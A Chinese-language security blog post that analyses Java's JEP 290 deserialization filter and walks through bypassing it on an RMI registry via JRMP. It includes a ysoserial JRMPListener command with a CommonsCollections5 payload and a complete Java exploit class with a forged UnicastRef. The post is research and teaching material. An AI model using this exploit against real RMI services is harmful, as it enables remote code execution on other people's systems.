0x01 前言

屬于是拖了很久的文章了,4.18 籌劃著開始寫,6.22 左右才真正開始提筆。

一開始提到這個概念可能會比較懵逼,其實這就是為什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 關于 JEP290

JEP290 是 Java 底層為了緩解反序列化攻擊提出的一種解決方案,主要做了以下幾件事

1、提供一個限制反序列化類的機制,白名單或者黑名單。2、限制反序列化的深度和復雜度。3、為 RMI 遠程調用對象提供了一個驗證類的機制。4、定義一個可配置的過濾機制,比如可以通過配置 properties 文件的形式來定義過濾器。

官方從 8u121,7u13,6u141 分別支持了這個 JEP

0x03 JEP290 防御手段分析

先起一個 RMI 的服務,代碼詳見 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

嘗試去攻擊,這里會報錯,報錯部分信息為

java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方文檔對于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • ? 我們很容易通過描述來看對應增加的 Filter 點是什么,如圖找到了 ObjectInputFilter 相關的類

我這里去看了看 ObjectInputFilter 相關的類,斷點是下不去的,所以去到控制臺去看,發現在 RegistryImpl_Skel 類中也存在報錯現象,而這個類在 RMI 中是用來做反序列化的方法的。

跟進,ObjectInputStream 類調用了 readObject0() 方法,繼續跟進

先獲取輸入當中 blkmode,如果數據為 true,則繼續進行后續判斷,后續做了一部分的數據處理工作,我們直接來看最重要的地方 1573 行,調用了 checkResolve() 方法,跟進

跟進 readClassDesc() 方法,這個方法主要是讀取并返回類描述符,并判斷這一類描述符是否可以解析為本地 VM 中的類。

readClassDesc() 方法中,判斷 tc 所對應的類型,這里跟進 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基礎判斷之后調用了 filterCheck() 方法,跟進

filterCheck() 方法又調用了 checkInput() 方法,這里應該是最終來判斷輸入是否合法的地方。

這里的判斷會進行兩次,一個是開啟 JVM 的 java.rmi.Remote 類,另一個是我們放入的惡意利用類 sun.reflect.annotation.AnnotationInvocationHandler,第一次會先判斷 java.rmi.Remote 類是否合法

對應的判斷代碼,其實也就是白名單了。代碼會首先判斷 var2 是否等于 String 類型。如果不是,則繼續判斷它是否滿足下列幾個條件中的任意一個:

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而這里,我們的 sun.reflect.annotation.AnnotationInvocationHandler 類并不在這些白名單中,所以會被過濾

0x04 JEP290 繞過

這里我們可以先看一下白名單里面都能過什么,白名單如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

這里我覺得還是得從它在 JDK8u221 的具體環境下的流程分析入手,看一下在攻擊流程之后哪里可以能夠被利用,哪里可以 bypass

繞過利用

思考了在 RMI 的流程當中,哪一步能夠繞過 JEP290 的檢測,最終是 JRMP 的這一步,能夠繞過,從原理圖來說的話應該是這樣

先用 ysoserial 開啟 JRMP 3333 端口的監聽

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后編寫 RMI 的 EXP

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

這個 payload 的原理就是偽造了一個 UnicastRef 用于跟注冊中心通信,我們從 bind() 方法開始分析一下這一整個流程。

繞過分析

我們通過 getRegistry 時獲得的注冊中心,其實就是一個封裝了 UnicastServerRef 對象的對象

當我們調用 bind 方法后,會通過 UnicastRef 對象中存儲的信息與注冊中心進行通信

這里會通過 ref 與注冊中心通信,并將綁定的對象名稱以及要綁定的遠程對象發過去,注冊中心在后續會對應進行反序列化

接著來看看 yso 中的 JRMPClient 是做了什么操作

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);
return proxy;

這里返回了一個代理對象,上面用的這些類都在白名單里,當注冊中心反序列化時,會調用到RemoteObjectInvacationHandler父類RemoteObjectreadObject方法(因為RemoteObjectInvacationHandler沒有readObject方法),在readObject里的最后一行會調用ref.readExternal方法,并將ObjectInputStream傳進去:

這里的調用棧非常長,總體上來說就是在做我上面所說的工作,調用棧如下

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)     // 從此處開始,會遇到很多字節碼不匹配的問題
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟進到 sun.rmi.transport.LiveRef#read

可以看到這里把 payload 里所傳入的 LiveRef 解析到 var5 變量處,里面包含了 ip端口 信息(JRMPListener 的端口)。這些信息將用于后面注冊中心與 JRMP 端建立通信。

跟進 saveRef() 方法,里面做了一個映射,其建立了一個 TCPEndpointArrayList 的映射關系。

到這里 JRMP 的通信流程基本結束了,接著再回到 dispatch() 方法,在調用了 readObject 方法之后調用了 var2.releaseInputStream();,跟進

releaseInputStream() 方法調用了 this.in.registerRefs() 方法,跟進。其中先判斷了當前保存的 Ref 是否為空,再獲取當前 Ref,這個 Ref 實際上就是創建的 JRMP 連接,再跟進 registerRefs() 方法

var2這里返回的是 DGCClient 對象,里邊同樣封裝了我們的端口信息

接著看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟進一下

里面主要是做了數據處理,將原本保存了 EndPoint 的 var1 —— HashSet 數組轉換為 ObjID,同時,調用了 this.dgc.dirty() 方法,跟進。

dirty() 方法中調用 wirteObject() 方法后,會用 invoke() 將數據發出去。

invoke()

方法實現的過程就是從 socket 連接中先讀取了輸入,然后直接反序列化,此時的反序列化并沒有設置

filter(白名單),所以這里可以直接導致注冊中心 rce,所以我們可以偽造一個 socket

連接并把我們惡意序列化的對象發過去,這也就是當時用 ysoserial 開啟的 JRMP

至此繞過分析結束

0x05 小結

本身 JEP290 的繞過分析的思路是非常清晰的,但是整個流程還是比較復雜的,總結一下是從 RMI 通信的流程當中找到了可乘之機。